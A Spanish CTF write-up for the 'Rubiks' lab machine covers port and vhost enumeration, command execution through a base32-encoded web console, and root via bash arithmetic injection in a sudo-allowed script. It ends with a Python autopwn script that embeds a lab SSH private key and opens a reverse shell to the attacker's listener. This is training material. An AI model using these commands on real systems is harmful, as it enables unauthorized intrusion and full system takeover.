> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/rubiks-write-up.md).

# Rubiks write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/rGr4KRL5jJSyFHifoRld" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/AgPnhmNdOoLX71CcYd3n" alt=""><figcaption></figcaption></figure>

Es escaneo indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Además se indica que el puerto 80 redirige a la ruta `http://rubikcube.dl/`, por lo que vamos a modificar el archivo `/etc/hosts` para que el dominio apunte a la máquina `172.17.0.2`.

<figure><img src="/files/FASfhy2OS3NZEe5FZkgR" alt=""><figcaption></figcaption></figure>

Ahora escribimos la ruta <http://rubikcube.dl/> en el navegador y observamos lo siguiente:

<figure><img src="/files/HPfG56oCGAUxsIQ2sYOU" alt=""><figcaption></figcaption></figure>

Como no encontramos nada interesante usaremos `Dirb` para enumerar rutas ocultas con el siguiente comando:

```bash
dirb http://rubikcube.dl/
```

<figure><img src="/files/BacETGCL0dt5LbnUOjp9" alt=""><figcaption></figcaption></figure>

Encontramos la ruta `http://rubikcube.dl/administration/index.php`, así que la ingresamos en el navegador.

<figure><img src="/files/CLb58Ure64PAmNnyj2An" alt=""><figcaption></figcaption></figure>

Contemplamos que prácticamente no podemos interactuar con la página ya que parece incompleta. Por lo tanto ahora usaremos **Gobuster** para enumerar posibles subdominios de la página con el siguiente comando:

```bash
gobuster vhost -u http://rubikcube.dl -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 --append-domain | grep -e " Status: 200"
```

<figure><img src="/files/X5nIGu92CLca0dKvrUb3" alt=""><figcaption></figcaption></figure>

Esto indica la existencia del subdominio `administration.rubikcube.dl`, así que la añadimos en nuestro fichero `/etc/hosts` y la introducimos en el navegador.

<figure><img src="/files/yqkojG8KiGUmNck8tuO4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Vnym2y4Ek5BlY9eS3O4Q" alt=""><figcaption></figcaption></figure>

Encontramos la misma página, pero si está vez vamos al apartado `Configuraciones` y después hacemos clic en `Console` encontramos lo siguiente:

<figure><img src="/files/Ne5BHq5uLiGLpRAUNX9G" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c11NQUxHLOcvIsTe9EfN" alt=""><figcaption></figcaption></figure>

Observamos una consola pero que indica que los comandos deben estar encriptados. Probando a ejecutar `whoami` encriptado en base32 pasa lo siguiente:

<figure><img src="/files/yY0ctfvihfWrlsizCfNN" alt=""><figcaption></figcaption></figure>

```bash
O5UG6YLNNEFA====
```

<figure><img src="/files/h2lylPguGjoJHJCUb5pe" alt=""><figcaption></figcaption></figure>

Vemos que funciona, sin embargo, si tratamos de enviarnos una shell inversa no funcionará ya que se está validando de alguna manera. Pero al probar a ejecutar un `ls -la` observamos lo siguiente:

```bash
NRZSALLMMEFA====
```

<figure><img src="/files/Z6Mw2C8mdnDcbzv58Am4" alt=""><figcaption></figcaption></figure>

Observamos el archivo `.id_rsa` así que hacemos un cat del archivo y vemos lo siguiente:

```bash
MNQXIIBONFSF64TTMEFA====
```

<figure><img src="/files/AWgxnyAtPrCDC0jLFOAg" alt=""><figcaption></figcaption></figure>

Guardamos la clave en un archivo y ahora haremos un cat del archivo `/etc/passwd`.

```bash
MNQXIIBPMV2GGL3QMFZXG53EBI======
```

<figure><img src="/files/UIxPHvICcWiB5zBFL479" alt=""><figcaption></figcaption></figure>

Esto revela la existencia del usuario `luisillo`, así que usaremos la clave privada que obtuvimos para acceder a la máquina víctima, primero dándole permisos de lectura y escritura al archivo.

<figure><img src="/files/Enk8TAIxGKMNFVxEuD8X" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el binario `/bin/cube` como cualquier usuario.

<figure><img src="/files/W1C8TotAlQiwTCpbwzBu" alt=""><figcaption></figcaption></figure>

Si hacemos un cat del binario observaremos que se trata de un script en bash que pide un número al usuario para luego comprobar si el número ingresado es igual al número 666. Sin embargo, este programa es vulnerable a ejecución de código arbitrario, ya que resulta que realiza una operación aritmética con la entrada del usuario sin validarla. De modo que si nosotros ingresamos `a[$(whoami >&2)]+666` el programa ejecutará el comando `whoami` al momento de comparar la entrada con el numero `666`.

```bash
a[$(whoami >&2)]+666
```

<figure><img src="/files/7gVGU5SkT5yzTTO6XnuO" alt=""><figcaption></figcaption></figure>

Observamos que efectivamente funciona, por lo que ahora para obtener un shell como usuario `root` solo tendríamos que ingresar lo siguiente en la entrada:

```bash
a[$(bash >&2)]+666
```

<figure><img src="/files/38cVIOD4Mu46Fpgebczj" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess

def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send "ssh -i id_rsa luisillo@172.17.0.2\r"
expect "*$ "
send "bash\r"
sleep 1
expect " "
send "sudo cube\r"
expect ": "
send { a[$(bash >&2)] }
sleep 1
send "\r"
sleep 1
expect " "
send "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def crear_clave_privada():
    print("[+] Creando script.exp...")
    
    contenido = """-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
"""

    with open("id_rsa", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0600 id_rsa")

def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(0.1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])


def main():

    crear_clave_privada()

    time.sleep(1)

    crear_script_expect()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(0.5)
  
    os.system("nc -lvnp 4444")

    os.system("rm script1.exp id_rsa")

if __name__ == "__main__":
    main()
```
